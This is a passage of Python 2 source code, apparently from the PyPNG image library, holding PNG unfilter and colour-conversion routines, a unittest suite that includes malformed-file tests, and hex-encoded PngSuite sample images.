undo_filter_average(filter_unit, scanline, previous, result): """Undo up filter.""" ai = -filter_unit for i in range(len(result)): x = scanline[i] if ai < 0: a = 0 else: a = result[ai] b = previous[i] result[i] = (x + ((a + b) >> 1)) & 0xff ai += 1 undo_filter_average = staticmethod(undo_filter_average) def undo_filter_paeth(filter_unit, scanline, previous, result): """Undo Paeth filter.""" # Also used for ci. ai = -filter_unit for i in range(len(result)): x = scanline[i] if ai < 0: a = c = 0 else: a = result[ai] c = previous[ai] b = previous[i] p = a + b - c pa = abs(p - a) pb = abs(p - b) pc = abs(p - c) if pa <= pb and pa <= pc: pr = a elif pb <= pc: pr = b else: pr = c result[i] = (x + pr) & 0xff ai += 1 undo_filter_paeth = staticmethod(undo_filter_paeth) def convert_la_to_rgba(row, result): for i in range(3): result[i::4] = row[0::2] result[3::4] = row[1::2] convert_la_to_rgba = staticmethod(convert_la_to_rgba) def convert_l_to_rgba(row, result): """Convert a grayscale image to RGBA. This method assumes the alpha channel in result is already correctly initialized.""" for i in range(3): result[i::4] = row convert_l_to_rgba = staticmethod(convert_l_to_rgba) def convert_rgb_to_rgba(row, result): """Convert an RGB image to RGBA. This method assumes the alpha channel in result is already correctly initialized.""" for i in range(3): result[i::4] = row[i::3] convert_rgb_to_rgba = staticmethod(convert_rgb_to_rgba) # === Internal Test Support === # This section comprises the tests that are internally validated (as # opposed to tests which produce output files that are externally # validated). Primarily they are unittests. # Note that it is difficult to internally validate the results of # writing a PNG file. The only thing we can do is read it back in # again, which merely checks consistency, not that the PNG file we # produce is valid. # Run the tests from the command line: # python -c 'import png;png.test()' # (For an in-memory binary file IO object) We use BytesIO where # available, otherwise we use StringIO, but name it BytesIO. try: from io import BytesIO except: from StringIO import StringIO as BytesIO import tempfile # http://www.python.org/doc/2.4.4/lib/module-unittest.html import unittest def test(): unittest.main(__name__) def topngbytes(name, rows, x, y, **k): """Convenience function for creating a PNG file "in memory" as a string. Creates a :class:`Writer` instance using the keyword arguments, then passes `rows` to its :meth:`Writer.write` method. The resulting PNG file is returned as a string. `name` is used to identify the file for debugging. """ import os print name f = BytesIO() w = Writer(x, y, **k) w.write(f, rows) if os.environ.get('PYPNG_TEST_TMP'): w = open(name, 'wb') w.write(f.getvalue()) w.close() return f.getvalue() def testWithIO(inp, out, f): """Calls the function `f` with ``sys.stdin`` changed to `inp` and ``sys.stdout`` changed to `out`. They are restored when `f` returns. This function returns whatever `f` returns. """ import os try: oldin,sys.stdin = sys.stdin,inp oldout,sys.stdout = sys.stdout,out x = f() finally: sys.stdin = oldin sys.stdout = oldout if os.environ.get('PYPNG_TEST_TMP') and hasattr(out,'getvalue'): name = mycallersname() if name: w = open(name+'.png', 'wb') w.write(out.getvalue()) w.close() return x def mycallersname(): """Returns the name of the caller of the caller of this function (hence the name of the caller of the function in which "mycallersname()" textually appears). Returns None if this cannot be determined.""" # http://docs.python.org/library/inspect.html#the-interpreter-stack import inspect frame = inspect.currentframe() if not frame: return None frame_,filename_,lineno_,funname,linelist_,listi_ = ( inspect.getouterframes(frame)[2]) return funname def seqtobytes(s): """Convert a sequence of integers to a *bytes* instance. Good for plastering over Python 2 / Python 3 cracks. """ return strtobytes(''.join(chr(x) for x in s)) class Test(unittest.TestCase): # This member is used by the superclass. If we don't define a new # class here then when we use self.assertRaises() and the PyPNG code # raises an assertion then we get no proper traceback. I can't work # out why, but defining a new class here means we get a proper # traceback. class failureException(Exception): pass def helperLN(self, n): mask = (1 << n) - 1 # Use small chunk_limit so that multiple chunk writing is # tested. Making it a test for Issue 20. w = Writer(15, 17, greyscale=True, bitdepth=n, chunk_limit=99) f = BytesIO() w.write_array(f, array('B', map(mask.__and__, range(1, 256)))) r = Reader(bytes=f.getvalue()) x,y,pixels,meta = r.read() self.assertEqual(x, 15) self.assertEqual(y, 17) self.assertEqual(list(itertools.chain(*pixels)), map(mask.__and__, range(1,256))) def testL8(self): return self.helperLN(8) def testL4(self): return self.helperLN(4) def testL2(self): "Also tests asRGB8." w = Writer(1, 4, greyscale=True, bitdepth=2) f = BytesIO() w.write_array(f, array('B', range(4))) r = Reader(bytes=f.getvalue()) x,y,pixels,meta = r.asRGB8() self.assertEqual(x, 1) self.assertEqual(y, 4) for i,row in enumerate(pixels): self.assertEqual(len(row), 3) self.assertEqual(list(row), [0x55*i]*3) def testP2(self): "2-bit palette." a = (255,255,255) b = (200,120,120) c = (50,99,50) w = Writer(1, 4, bitdepth=2, palette=[a,b,c]) f = BytesIO() w.write_array(f, array('B', (0,1,1,2))) r = Reader(bytes=f.getvalue()) x,y,pixels,meta = r.asRGB8() self.assertEqual(x, 1) self.assertEqual(y, 4) self.assertEqual(map(list, pixels), map(list, [a, b, b, c])) def testPtrns(self): "Test colour type 3 and tRNS chunk (and 4-bit palette)." a = (50,99,50,50) b = (200,120,120,80) c = (255,255,255) d = (200,120,120) e = (50,99,50) w = Writer(3, 3, bitdepth=4, palette=[a,b,c,d,e]) f = BytesIO() w.write_array(f, array('B', (4, 3, 2, 3, 2, 0, 2, 0, 1))) r = Reader(bytes=f.getvalue()) x,y,pixels,meta = r.asRGBA8() self.assertEqual(x, 3) self.assertEqual(y, 3) c = c+(255,) d = d+(255,) e = e+(255,) boxed = [(e,d,c),(d,c,a),(c,a,b)] flat = map(lambda row: itertools.chain(*row), boxed) self.assertEqual(map(list, pixels), map(list, flat)) def testRGBtoRGBA(self): "asRGBA8() on colour type 2 source.""" # Test for Issue 26 r = Reader(bytes=_pngsuite['basn2c08']) x,y,pixels,meta = r.asRGBA8() # Test the pixels at row 9 columns 0 and 1. row9 = list(pixels)[9] self.assertEqual(list(row9[0:8]), [0xff, 0xdf, 0xff, 0xff, 0xff, 0xde, 0xff, 0xff]) def testLtoRGBA(self): "asRGBA() on grey source.""" # Test for Issue 60 r = Reader(bytes=_pngsuite['basi0g08']) x,y,pixels,meta = r.asRGBA() row9 = list(list(pixels)[9]) self.assertEqual(row9[0:8], [222, 222, 222, 255, 221, 221, 221, 255]) def testCtrns(self): "Test colour type 2 and tRNS chunk." # Test for Issue 25 r = Reader(bytes=_pngsuite['tbrn2c08']) x,y,pixels,meta = r.asRGBA8() # I just happen to know that the first pixel is transparent. # In particular it should be #7f7f7f00 row0 = list(pixels)[0] self.assertEqual(tuple(row0[0:4]), (0x7f, 0x7f, 0x7f, 0x00)) def testAdam7read(self): """Adam7 interlace reading. Specifically, test that for images in the PngSuite that have both an interlaced and straightlaced pair that both images from the pair produce the same array of pixels.""" for candidate in _pngsuite: if not candidate.startswith('basn'): continue candi = candidate.replace('n', 'i') if candi not in _pngsuite: continue print 'adam7 read', candidate straight = Reader(bytes=_pngsuite[candidate]) adam7 = Reader(bytes=_pngsuite[candi]) # Just compare the pixels. Ignore x,y (because they're # likely to be correct?); metadata is ignored because the # "interlace" member differs. Lame. straight = straight.read()[2] adam7 = adam7.read()[2] self.assertEqual(map(list, straight), map(list, adam7)) def testAdam7write(self): """Adam7 interlace writing. For each test image in the PngSuite, write an interlaced and a straightlaced version. Decode both, and compare results. """ # Not such a great test, because the only way we can check what # we have written is to read it back again. for name,bytes in _pngsuite.items(): # Only certain colour types supported for this test. if name[3:5] not in ['n0', 'n2', 'n4', 'n6']: continue it = Reader(bytes=bytes) x,y,pixels,meta = it.read() pngi = topngbytes('adam7wn'+name+'.png', pixels, x=x, y=y, bitdepth=it.bitdepth, greyscale=it.greyscale, alpha=it.alpha, transparent=it.transparent, interlace=False) x,y,ps,meta = Reader(bytes=pngi).read() it = Reader(bytes=bytes) x,y,pixels,meta = it.read() pngs = topngbytes('adam7wi'+name+'.png', pixels, x=x, y=y, bitdepth=it.bitdepth, greyscale=it.greyscale, alpha=it.alpha, transparent=it.transparent, interlace=True) x,y,pi,meta = Reader(bytes=pngs).read() self.assertEqual(map(list, ps), map(list, pi)) def testPGMin(self): """Test that the command line tool can read PGM files.""" def do(): return _main(['testPGMin']) s = BytesIO() s.write(strtobytes('P5 2 2 3\n')) s.write(strtobytes('\x00\x01\x02\x03')) s.flush() s.seek(0) o = BytesIO() testWithIO(s, o, do) r = Reader(bytes=o.getvalue()) x,y,pixels,meta = r.read() self.assertTrue(r.greyscale) self.assertEqual(r.bitdepth, 2) def testPAMin(self): """Test that the command line tool can read PAM file.""" def do(): return _main(['testPAMin']) s = BytesIO() s.write(strtobytes('P7\nWIDTH 3\nHEIGHT 1\nDEPTH 4\nMAXVAL 255\n' 'TUPLTYPE RGB_ALPHA\nENDHDR\n')) # The pixels in flat row flat pixel format flat = [255,0,0,255, 0,255,0,120, 0,0,255,30] asbytes = seqtobytes(flat) s.write(asbytes) s.flush() s.seek(0) o = BytesIO() testWithIO(s, o, do) r = Reader(bytes=o.getvalue()) x,y,pixels,meta = r.read() self.assertTrue(r.alpha) self.assertTrue(not r.greyscale) self.assertEqual(list(itertools.chain(*pixels)), flat) def testLA4(self): """Create an LA image with bitdepth 4.""" bytes = topngbytes('la4.png', [[5, 12]], 1, 1, greyscale=True, alpha=True, bitdepth=4) sbit = Reader(bytes=bytes).chunk('sBIT')[1] self.assertEqual(sbit, strtobytes('\x04\x04')) def testPal(self): """Test that a palette PNG returns the palette in info.""" r = Reader(bytes=_pngsuite['basn3p04']) x,y,pixels,info = r.read() self.assertEqual(x, 32) self.assertEqual(y, 32) self.assertTrue('palette' in info) def testPalWrite(self): """Test metadata for paletted PNG can be passed from one PNG to another.""" r = Reader(bytes=_pngsuite['basn3p04']) x,y,pixels,info = r.read() w = Writer(**info) o = BytesIO() w.write(o, pixels) o.flush() o.seek(0) r = Reader(file=o) _,_,_,again_info = r.read() # Same palette self.assertEqual(again_info['palette'], info['palette']) def testPalExpand(self): """Test that bitdepth can be used to fiddle with pallete image.""" r = Reader(bytes=_pngsuite['basn3p04']) x,y,pixels,info = r.read() pixels = [list(row) for row in pixels] info['bitdepth'] = 8 w = Writer(**info) o = BytesIO() w.write(o, pixels) o.flush() o.seek(0) r = Reader(file=o) _,_,again_pixels,again_info = r.read() # Same pixels again_pixels = [list(row) for row in again_pixels] self.assertEqual(again_pixels, pixels) def testPNMsbit(self): """Test that PNM files can generates sBIT chunk.""" def do(): return _main(['testPNMsbit']) s = BytesIO() s.write(strtobytes('P6 8 1 1\n')) for pixel in range(8): s.write(struct.pack('<I', (0x4081*pixel)&0x10101)[:3]) s.flush() s.seek(0) o = BytesIO() testWithIO(s, o, do) r = Reader(bytes=o.getvalue()) sbit = r.chunk('sBIT')[1] self.assertEqual(sbit, strtobytes('\x01\x01\x01')) def testLtrns0(self): """Create greyscale image with tRNS chunk.""" return self.helperLtrns(0) def testLtrns1(self): """Using 1-tuple for transparent arg.""" return self.helperLtrns((0,)) def helperLtrns(self, transparent): """Helper used by :meth:`testLtrns*`.""" pixels = zip([0x00, 0x38, 0x4c, 0x54, 0x5c, 0x40, 0x38, 0x00]) o = BytesIO() w = Writer(8, 8, greyscale=True, bitdepth=1, transparent=transparent) w.write_packed(o, pixels) r = Reader(bytes=o.getvalue()) x,y,pixels,meta = r.asDirect() self.assertTrue(meta['alpha']) self.assertTrue(meta['greyscale']) self.assertEqual(meta['bitdepth'], 1) def testWinfo(self): """Test the dictionary returned by a `read` method can be used as args for :meth:`Writer`. """ r = Reader(bytes=_pngsuite['basn2c16']) info = r.read()[3] w = Writer(**info) def testPackedIter(self): """Test iterator for row when using write_packed. Indicative for Issue 47. """ w = Writer(16, 2, greyscale=True, alpha=False, bitdepth=1) o = BytesIO() w.write_packed(o, [itertools.chain([0x0a], [0xaa]), itertools.chain([0x0f], [0xff])]) r = Reader(bytes=o.getvalue()) x,y,pixels,info = r.asDirect() pixels = list(pixels) self.assertEqual(len(pixels), 2) self.assertEqual(len(pixels[0]), 16) def testInterlacedArray(self): """Test that reading an interlaced PNG yields each row as an array.""" r = Reader(bytes=_pngsuite['basi0g08']) list(r.read()[2])[0].tostring def testTrnsArray(self): """Test that reading a type 2 PNG with tRNS chunk yields each row as an array (using asDirect).""" r = Reader(bytes=_pngsuite['tbrn2c08']) list(r.asDirect()[2])[0].tostring # Invalid file format tests. These construct various badly # formatted PNG files, then feed them into a Reader. When # everything is working properly, we should get FormatError # exceptions raised. def testEmpty(self): """Test empty file.""" r = Reader(bytes='') self.assertRaises(FormatError, r.asDirect) def testSigOnly(self): """Test file containing just signature bytes.""" r = Reader(bytes=_signature) self.assertRaises(FormatError, r.asDirect) def testExtraPixels(self): """Test file that contains too many pixels.""" def eachchunk(chunk): if chunk[0] != 'IDAT': return chunk data = zlib.decompress(chunk[1]) data += strtobytes('\x00garbage') data = zlib.compress(data) chunk = (chunk[0], data) return chunk self.assertRaises(FormatError, self.helperFormat, eachchunk) def testNotEnoughPixels(self): def eachchunk(chunk): if chunk[0] != 'IDAT': return chunk # Remove last byte. data = zlib.decompress(chunk[1]) data = data[:-1] data = zlib.compress(data) return (chunk[0], data) self.assertRaises(FormatError, self.helperFormat, eachchunk) def helperFormat(self, f): r = Reader(bytes=_pngsuite['basn0g01']) o = BytesIO() def newchunks(): for chunk in r.chunks(): yield f(chunk) write_chunks(o, newchunks()) r = Reader(bytes=o.getvalue()) return list(r.asDirect()[2]) def testBadFilter(self): def eachchunk(chunk): if chunk[0] != 'IDAT': return chunk data = zlib.decompress(chunk[1]) # Corrupt the first filter byte data = strtobytes('\x99') + data[1:] data = zlib.compress(data) return (chunk[0], data) self.assertRaises(FormatError, self.helperFormat, eachchunk) def testFlat(self): """Test read_flat.""" import hashlib r = Reader(bytes=_pngsuite['basn0g02']) x,y,pixel,meta = r.read_flat() d = hashlib.md5(seqtobytes(pixel)).digest() self.assertEqual(_enhex(d), '255cd971ab8cd9e7275ff906e5041aa0') def testfromarray(self): img = from_array([[0, 0x33, 0x66], [0xff, 0xcc, 0x99]], 'L') img.save('testfromarray.png') def testfromarrayL16(self): img = from_array(group(range(2**16), 256), 'L;16') img.save('testL16.png') def testfromarrayRGB(self): img = from_array([[0,0,0, 0,0,1, 0,1,0, 0,1,1], [1,0,0, 1,0,1, 1,1,0, 1,1,1]], 'RGB;1') o = BytesIO() img.save(o) def testfromarrayIter(self): import itertools i = itertools.islice(itertools.count(10), 20) i = itertools.imap(lambda x: [x, x, x], i) img = from_array(i, 'RGB;5', dict(height=20)) f = open('testiter.png', 'wb') img.save(f) f.close() # numpy dependent tests. These are skipped (with a message to # sys.stderr) if numpy cannot be imported. def testNumpyuint16(self): """numpy uint16.""" try: import numpy except ImportError: print >>sys.stderr, "skipping numpy test" return rows = [map(numpy.uint16, range(0,0x10000,0x5555))] b = topngbytes('numpyuint16.png', rows, 4, 1, greyscale=True, alpha=False, bitdepth=16) def testNumpyuint8(self): """numpy uint8.""" try: import numpy except ImportError: print >>sys.stderr, "skipping numpy test" return rows = [map(numpy.uint8, range(0,0x100,0x55))] b = topngbytes('numpyuint8.png', rows, 4, 1, greyscale=True, alpha=False, bitdepth=8) def testNumpybool(self): """numpy bool.""" try: import numpy except ImportError: print >>sys.stderr, "skipping numpy test" return rows = [map(numpy.bool, [0,1])] b = topngbytes('numpybool.png', rows, 2, 1, greyscale=True, alpha=False, bitdepth=1) def testNumpyarray(self): """numpy array.""" try: import numpy except ImportError: print >>sys.stderr, "skipping numpy test" return pixels = numpy.array([[0,0x5555],[0x5555,0xaaaa]], numpy.uint16) img = from_array(pixels, 'L') img.save('testnumpyL16.png') def paeth(self, x, a, b, c): p = a + b - c pa = abs(p - a) pb = abs(p - b) pc = abs(p - c) if pa <= pb and pa <= pc: pr = a elif pb <= pc: pr = b else: pr = c return x - pr # test filters and unfilters def testFilterScanlineFirstLine(self): fo = 3 # bytes per pixel line = [30, 31, 32, 230, 231, 232] out = filter_scanline(0, line, fo, None) # none self.assertEqual(list(out), [0, 30, 31, 32, 230, 231, 232]) out = filter_scanline(1, line, fo, None) # sub self.assertEqual(list(out), [1, 30, 31, 32, 200, 200, 200]) out = filter_scanline(2, line, fo, None) # up # TODO: All filtered scanlines start with a byte indicating the filter # algorithm, except "up". Is this a bug? Should the expected output # start with 2 here? self.assertEqual(list(out), [30, 31, 32, 230, 231, 232]) out = filter_scanline(3, line, fo, None) # average self.assertEqual(list(out), [3, 30, 31, 32, 215, 216, 216]) out = filter_scanline(4, line, fo, None) # paeth self.assertEqual(list(out), [ 4, self.paeth(30, 0, 0, 0), self.paeth(31, 0, 0, 0), self.paeth(32, 0, 0, 0), self.paeth(230, 30, 0, 0), self.paeth(231, 31, 0, 0), self.paeth(232, 32, 0, 0) ]) def testFilterScanline(self): prev = [20, 21, 22, 210, 211, 212] line = [30, 32, 34, 230, 233, 236] fo = 3 out = filter_scanline(0, line, fo, prev) # none self.assertEqual(list(out), [0, 30, 32, 34, 230, 233, 236]) out = filter_scanline(1, line, fo, prev) # sub self.assertEqual(list(out), [1, 30, 32, 34, 200, 201, 202]) out = filter_scanline(2, line, fo, prev) # up self.assertEqual(list(out), [2, 10, 11, 12, 20, 22, 24]) out = filter_scanline(3, line, fo, prev) # average self.assertEqual(list(out), [3, 20, 22, 23, 110, 112, 113]) out = filter_scanline(4, line, fo, prev) # paeth self.assertEqual(list(out), [ 4, self.paeth(30, 0, 20, 0), self.paeth(32, 0, 21, 0), self.paeth(34, 0, 22, 0), self.paeth(230, 30, 210, 20), self.paeth(233, 32, 211, 21), self.paeth(236, 34, 212, 22) ]) def testUnfilterScanline(self): reader = Reader(bytes='') reader.psize = 3 scanprev = array('B', [20, 21, 22, 210, 211, 212]) scanline = array('B', [30, 32, 34, 230, 233, 236]) def cp(a): return array('B', a) out = reader.undo_filter(0, cp(scanline), cp(scanprev)) self.assertEqual(list(out), list(scanline)) # none out = reader.undo_filter(1, cp(scanline), cp(scanprev)) self.assertEqual(list(out), [30, 32, 34, 4, 9, 14]) # sub out = reader.undo_filter(2, cp(scanline), cp(scanprev)) self.assertEqual(list(out), [50, 53, 56, 184, 188, 192]) # up out = reader.undo_filter(3, cp(scanline), cp(scanprev)) self.assertEqual(list(out), [40, 42, 45, 99, 103, 108]) # average out = reader.undo_filter(4, cp(scanline), cp(scanprev)) self.assertEqual(list(out), [50, 53, 56, 184, 188, 192]) # paeth def testUnfilterScanlinePaeth(self): # This tests more edge cases in the paeth unfilter reader = Reader(bytes='') reader.psize = 3 scanprev = array('B', [2, 0, 0, 0, 9, 11]) scanline = array('B', [6, 10, 9, 100, 101, 102]) out = reader.undo_filter(4, scanline, scanprev) self.assertEqual(list(out), [8, 10, 9, 108, 111, 113]) # paeth def testIterstraight(self): def arraify(list_of_str): return [array('B', s) for s in list_of_str] reader = Reader(bytes='') reader.row_bytes = 6 reader.psize = 3 rows = reader.iterstraight(arraify(['\x00abcdef', '\x00ghijkl'])) self.assertEqual(list(rows), arraify(['abcdef', 'ghijkl'])) rows = reader.iterstraight(arraify(['\x00abc', 'def\x00ghijkl'])) self.assertEqual(list(rows), arraify(['abcdef', 'ghijkl'])) rows = reader.iterstraight(arraify(['\x00abcdef\x00ghijkl'])) self.assertEqual(list(rows), arraify(['abcdef', 'ghijkl'])) rows = reader.iterstraight(arraify(['\x00abcdef\x00ghi', 'jkl'])) self.assertEqual(list(rows), arraify(['abcdef', 'ghijkl'])) # === Command Line Support === def _dehex(s): """Liberally convert from hex string to binary string.""" import re import binascii # Remove all non-hexadecimal digits s = re.sub(r'[^a-fA-F\d]', '', s) # binscii.unhexlify works in Python 2 and Python 3 (unlike # thing.decode('hex')). return binascii.unhexlify(strtobytes(s)) def _enhex(s): """Convert from binary string (bytes) to hex string (str).""" import binascii return bytestostr(binascii.hexlify(s)) # Copies of PngSuite test files taken # from http://www.schaik.com/pngsuite/pngsuite_bas_png.html # on 2009-02-19 by drj and converted to hex. # Some of these are not actually in PngSuite (but maybe they should # be?), they use the same naming scheme, but start with a capital # letter. _pngsuite = { 'basi0g01': _dehex(""" 89504e470d0a1a0a0000000d49484452000000200000002001000000012c0677 cf0000000467414d41000186a031e8965f0000009049444154789c2d8d310ec2 300c45dfc682c415187a00a42e197ab81e83b127e00c5639001363a580d8582c 65c910357c4b78b0bfbfdf4f70168c19e7acb970a3f2d1ded9695ce5bf5963df d92aaf4c9fd927ea449e6487df5b9c36e799b91bdf082b4d4bd4014fe4014b01 ab7a17aee694d28d328a2d63837a70451e1648702d9a9ff4a11d2f7a51aa21e5 a18c7ffd0094e3511d661822f20000000049454e44ae426082 """), 'basi0g02': _dehex(""" 89504e470d0a1a0a0000000d49484452000000200000002002000000016ba60d 1f0000000467414d41000186a031e8965f0000005149444154789c635062e860 00e17286bb609c93c370ec189494960631366e4467b3ae675dcf10f521ea0303 90c1ca006444e11643482064114a4852c710baea3f18c31918020c30410403a6 0ac1a09239009c52804d85b6d97d0000000049454e44ae426082 """), 'basi0g04': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200400000001e4e6f8 bf0000000467414d41000186a031e8965f000000ae49444154789c658e5111c2 301044171c141c141c041c843a287510ea20d441c041c141c141c04191102454 03994998cecd7edcecedbb9bdbc3b2c2b6457545fbc4bac1be437347f7c66a77 3c23d60db15e88f5c5627338a5416c2e691a9b475a89cd27eda12895ae8dfdab 43d61e590764f5c83a226b40d669bec307f93247701687723abf31ff83a2284b a5b4ae6b63ac6520ad730ca4ed7b06d20e030369bd6720ed383290360406d24e 13811f2781eba9d34d07160000000049454e44ae426082 """), 'basi0g08': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200800000001211615 be0000000467414d41000186a031e8965f000000b549444154789cb5905d0ac2 3010849dbac81c42c47bf843cf253e8878b0aa17110f214bdca6be240f5d21a5 94ced3e49bcd322c1624115515154998aa424822a82a5624a1aa8a8b24c58f99 999908130989a04a00d76c2c09e76cf21adcb209393a6553577da17140a2c59e 70ecbfa388dff1f03b82fb82bd07f05f7cb13f80bb07ad2fd60c011c3c588eef f1f4e03bbec7ce832dca927aea005e431b625796345307b019c845e6bfc3bb98 769d84f9efb02ea6c00f9bb9ff45e81f9f280000000049454e44ae426082 """), 'basi0g16': _dehex(""" 89504e470d0a1a0a0000000d49484452000000200000002010000000017186c9 fd0000000467414d41000186a031e8965f000000e249444154789cb5913b0ec2 301044c7490aa8f85d81c3e4301c8f53a4ca0da8902c8144b3920b4043111282 23bc4956681a6bf5fc3c5a3ba0448912d91a4de2c38dd8e380231eede4c4f7a1 4677700bec7bd9b1d344689315a3418d1a6efbe5b8305ba01f8ff4808c063e26 c60d5c81edcf6c58c535e252839e93801b15c0a70d810ae0d306b205dc32b187 272b64057e4720ff0502154034831520154034c3df81400510cdf0015c86e5cc 5c79c639fddba9dcb5456b51d7980eb52d8e7d7fa620a75120d6064641a05120 b606771a05626b401a05f1f589827cf0fe44c1f0bae0055698ee8914fffffe00 00000049454e44ae426082 """), 'basi2c08': _dehex(""" 89504e470d0a1a0a0000000d49484452000000200000002008020000018b1fdd 350000000467414d41000186a031e8965f000000f249444154789cd59341aa04 210c44abc07b78133d59d37333bd89d76868b566d10cf4675af8596431a11662 7c5688919280e312257dd6a0a4cf1a01008ee312a5f3c69c37e6fcc3f47e6776 a07f8bdaf5b40feed2d33e025e2ff4fe2d4a63e1a16d91180b736d8bc45854c5 6d951863f4a7e0b66dcf09a900f3ffa2948d4091e53ca86c048a64390f662b50 4a999660ced906182b9a01a8be00a56404a6ede182b1223b4025e32c4de34304 63457680c93aada6c99b73865aab2fc094920d901a203f5ddfe1970d28456783 26cffbafeffcd30654f46d119be4793f827387fc0d189d5bc4d69a3c23d45a7f db803146578337df4d0a3121fc3d330000000049454e44ae426082 """), 'basi2c16': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000201002000001db8f01 760000000467414d41000186a031e8965f0000020a49444154789cd5962173e3 3010853fcf1838cc61a1818185a53e56787fa13fa130852e3b5878b4b0b03081 b97f7030070b53e6b057a0a8912bbb9163b9f109ececbc59bd7dcf2b45492409 d66f00eb1dd83cb5497d65456aeb8e1040913b3b2c04504c936dd5a9c7e2c6eb b1b8f17a58e8d043da56f06f0f9f62e5217b6ba3a1b76f6c9e99e8696a2a72e2 c4fb1e4d452e92ec9652b807486d12b6669be00db38d9114b0c1961e375461a5 5f76682a85c367ad6f682ff53a9c2a353191764b78bb07d8ddc3c97c1950f391 6745c7b9852c73c2f212605a466a502705c8338069c8b9e84efab941eb393a97 d4c9fd63148314209f1c1d3434e847ead6380de291d6f26a25c1ebb5047f5f24 d85c49f0f22cc1d34282c72709cab90477bf25b89d49f0f351822297e0ea9704 f34c82bc94002448ede51866e5656aef5d7c6a385cb4d80e6a538ceba04e6df2 480e9aa84ddedb413bb5c97b3838456df2d4fec2c7a706983e7474d085fae820 a841776a83073838973ac0413fea2f1dc4a06e71108fda73109bdae48954ad60 bf867aac3ce44c7c1589a711cf8a81df9b219679d96d1cec3d8bbbeaa2012626 df8c7802eda201b2d2e0239b409868171fc104ba8b76f10b4da09f6817ffc609 c413ede267fd1fbab46880c90f80eccf0013185eb48b47ba03df2bdaadef3181 cb8976f18e13188768170f98c0f844bb78cb04c62ddac59d09fc3fa25dfc1da4 14deb3df1344f70000000049454e44ae426082 """), 'basi3p08': _dehex(""" 89504e470d0a1a0a0000000d494844520000002000000020080300000133a3ba 500000000467414d41000186a031e8965f00000300504c5445224400f5ffed77 ff77cbffff110a003a77002222ffff11ff110000222200ffac5566ff66ff6666 ff01ff221200dcffffccff994444ff005555220000cbcbff44440055ff55cbcb 00331a00ffecdcedffffe4ffcbffdcdc44ff446666ff330000442200ededff66 6600ffa444ffffaaeded0000cbcbfefffffdfffeffff0133ff33552a000101ff 8888ff00aaaa010100440000888800ffe4cbba5b0022ff22663200ffff99aaaa ff550000aaaa00cb630011ff11d4ffaa773a00ff4444dc6b0066000001ff0188 4200ecffdc6bdc00ffdcba00333300ed00ed7300ffff88994a0011ffff770000 ff8301ffbabafe7b00fffeff00cb00ff999922ffff880000ffff77008888ffdc ff1a33000000aa33ffff009900990000000001326600ffbaff44ffffffaaff00 770000fefeaa00004a9900ffff66ff22220000998bff1155ffffff0101ff88ff 005500001111fffffefffdfea4ff4466ffffff66ff003300ffff55ff77770000 88ff44ff00110077ffff006666ffffed000100fff5ed1111ffffff44ff22ffff eded11110088ffff00007793ff2200dcdc3333fffe00febabaff99ffff333300 63cb00baba00acff55ffffdcffff337bfe00ed00ed5555ffaaffffdcdcff5555 00000066dcdc00dc00dc83ff017777fffefeffffffcbff5555777700fefe00cb 00cb0000fe010200010000122200ffff220044449bff33ffd4aa0000559999ff 999900ba00ba2a5500ffcbcbb4ff66ff9b33ffffbaaa00aa42880053aa00ffaa aa0000ed00babaffff1100fe00000044009999990099ffcc99ba000088008800 dc00ff93220000dcfefffeaa5300770077020100cb0000000033ffedff00ba00 ff3333edffedffc488bcff7700aa00660066002222dc0000ffcbffdcffdcff8b 110000cb00010155005500880000002201ffffcbffcbed0000ff88884400445b ba00ffbc77ff99ff006600baffba00777773ed00fe00003300330000baff77ff 004400aaffaafffefe000011220022c4ff8800eded99ff99ff55ff002200ffb4 661100110a1100ff1111dcffbabaffff88ff88010001ff33ffb98ed362000002 a249444154789c65d0695c0b001806f03711a9904a94d24dac63292949e5a810 d244588a14ca5161d1a1323973252242d62157d12ae498c8124d25ca3a11398a 16e55a3cdffab0ffe7f77d7fcff3528645349b584c3187824d9d19d4ec2e3523 9eb0ae975cf8de02f2486d502191841b42967a1ad49e5ddc4265f69a899e26b5 e9e468181baae3a71a41b95669da8df2ea3594c1b31046d7b17bfb86592e4cbe d89b23e8db0af6304d756e60a8f4ad378bdc2552ae5948df1d35b52143141533 33bbbbababebeb3b3bc9c9c9c6c6c0c0d7b7b535323225a5aa8a02024a4bedec 0a0a2a2bcdcd7d7cf2f3a9a9c9cdcdd8b8adcdd5b5ababa828298982824a4ab2 b21212acadbdbc1414e2e24859b9a72730302f4f49292c4c57373c9c0a0b7372 8c8c1c1c3a3a92936d6dfdfd293e3e26262a4a4eaea2424b4b5fbfbc9c323278 3c0b0ba1303abaae8ecdeeed950d6669a9a7a7a141d4de9e9d5d5cdcd2229b94 c572716132f97cb1d8db9bc3110864a39795d9db6b6a26267a7a9a98d4d6a6a7 cb76090ef6f030354d4d75766e686030545464cb393a1a1ac6c68686eae8f8f9 a9aa4644c8b66d6e1689dcdd2512a994cb35330b0991ad9f9b6b659596a6addd d8282fafae5e5323fb8f41d01f76c22fd8061be01bfc041a0323e1002c81cd30 0b9ec027a0c930014ec035580fc3e112bc069a0b53e11c0c8095f00176c163a0 e5301baec06a580677600ddc05ba0f13e120bc81a770133ec355a017300d4ec2 0c7800bbe1219c02fa08f3e13c1c85dbb00a2ec05ea0dff00a6ec15a98027360 070c047a06d7e1085c84f1b014f6c03fa0b33018b6c0211801ebe018fc00da0a 6f61113c877eb01d4ec317a085700f26c130f80efbe132bc039a0733e106fc81 f7f017f6c10aa0d1300a0ec374780943e1382c06fa0a9b60238c83473016cec0 02f80f73fefe1072afc1e50000000049454e44ae426082 """), 'basi6a08': _dehex(""" 89504e470d0a1a0a0000000d4948445200000020000000200806000001047d4a 620000000467414d41000186a031e8965f0000012049444154789cc595414ec3 3010459fa541b8bbb26641b8069b861e8b4d12c1c112c1452a710a2a65d840d5 949041fc481ec98ae27c7f3f8d27e3e4648047600fec0d1f390fbbe2633a31e2 9389e4e4ea7bfdbf3d9a6b800ab89f1bd6b553cfcbb0679e960563d72e0a9293 b7337b9f988cc67f5f0e186d20e808042f1c97054e1309da40d02d7e27f92e03 6cbfc64df0fc3117a6210a1b6ad1a00df21c1abcf2a01944c7101b0cb568a001 909c9cf9e399cf3d8d9d4660a875405d9a60d000b05e2de55e25780b7a5268e0 622118e2399aab063a815808462f1ab86890fc2e03e48bb109ded7d26ce4bf59 0db91bac0050747fec5015ce80da0e5700281be533f0ce6d5900b59bcb00ea6d 